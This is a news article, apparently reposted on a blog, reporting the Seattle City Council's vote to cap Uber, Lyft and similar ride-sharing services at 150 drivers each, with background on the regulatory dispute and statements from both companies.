GeekWire has a pretty good live blog of what happened at the meeting, but the end result was that the city council sided with the taxi industry rather than allow newer transportation services to compete on their own merits.

By ensuring that companies like Lyft and Uber can have no more than 150 drivers on each platform, the vote essentially kills any competition to the city’s existing taxi regime. It also will render services like Uber and Lyft relatively useless, by ensuring that they won’t be able to keep up with demand.

In places like San Francisco and Seattle, these new transportation services have offered an alternative to taxis, which are limited by the number of medallions available in each city. That ensured that in times of high demand or in late night off hours, passengers typically weren’t able to get rides.

That all changed over recent years, thanks to the launch of Uber, Lyft, and similar services. By connecting passengers with drivers on-demand via mobile apps, the ride-sharing services were able to meet that demand.

But the new services didn’t adhere to the same regulations as existing taxi or black car services, which has caused some pushback from regulators in various markets.

Many questions about the new transportation network companies revolve around the issue of public safety, which the startups have sought to resolve with criminal and driver background checks, as well as $1 million supplementary insurance policies to cover drivers and passengers while a ride was underway.

Uber recently added insurance that covers accidents that might happen while a driver is in-between rides, and Lyft has announced plans to do the same.

Moves like that have helped ride-sharing startups to create greater clarity around their services and put some regulators at ease. In California, for instance, Uber, Lyft, and others were able to work with the state’s Public Utilities Commission to create a new framework for mobile-enabled transportation services.

The hope is that those companies will be able to get similar provisions adopted by regulators in other markets.

Surprisingly, the vote in Seattle happened despite the city being one of the first markets that Lyft, Uber, and other startups expanded into after conquering their home market of San Francisco. And it appears to be less about protecting public safety than it is about protecting the incumbent taxi industry.

That’s why the new regulations are more about the number of cars that can be on the road for any company — capped at 150 — rather than requirements for how the services are run.

While the new rules will protect jobs at taxi companies, mostly by ensuring that they have less competition, they mean that there will be fewer drivers in Seattle making a living wage from competing services. Uber, for instance, argues that the vast majority of its 1,000 drivers in the city will be forced out of work by the regulations.

There is also some controversy surrounding the process of how the vote came to light. Under the city council’s General Rules and Procedures, it’s required to provide fair notice of its agenda at least two business days prior to a vote, according to Uber.

The council waited until last Friday, however, to provide a full version of the regulations which will be voted on. And that version included several provisions that were not in earlier drafts. Furthermore, the new amendments to the bill changed the program from a temporary pilot program to a permanent regulatory scheme.

We’ve reached out to both Uber and Lyft for further comment, and will be updating once we hear back.

In a statement, Uber Seattle General Manager Brooke Steger writes:

“It’s astounding that that the City Council has chosen to ignore the voices of nearly 30,000 constituents and move to put hundreds of drivers out of work. This fight is not over, and as we explore our options, we urge Mayor Murray to reject the anticompetitive and arbitrary caps that will slingshot Seattle’s transportation ecosystem back into the Dark Ages.”

Meanwhile, Lyft spokesperson Erin Simpson writes the following:

Today, in a protectionist move that only serves the existing taxi and for-hire industries, the Seattle City Council voted to place severe limits on Lyft and other ridesharing platforms. These caps have no bearing on public safety, and the motivation behind these measures was planned behind closed doors. This vote makes Seattle the only city in the country to impose a cap on peer-to-peer transportation. In doing so, the Council is disregarding the voices of thousands of citizens who spoke out in opposition to these restrictions, and is crushing new economic opportunities for Seattle residents who have chosen to provide rides to their neighbors. We have worked closely with the local community to ensure safe, affordable rides remain available to all, and will continue this process in the weeks ahead with city and state leaders. Lyft will continue operating in Seattle, will continue to stand behind drivers, and will continue to offer a safe, affordable and friendly transportation option to the great city of Seattle.

Photo: Shutterstock

Source Article @ http://blog.cripperz.sg/2014/03/19/seattle-city-council-limits-the-number-of-uber-lyft-sidecar-on-the-roads-will-singapore-govt-follow-suit/

Your Ad Here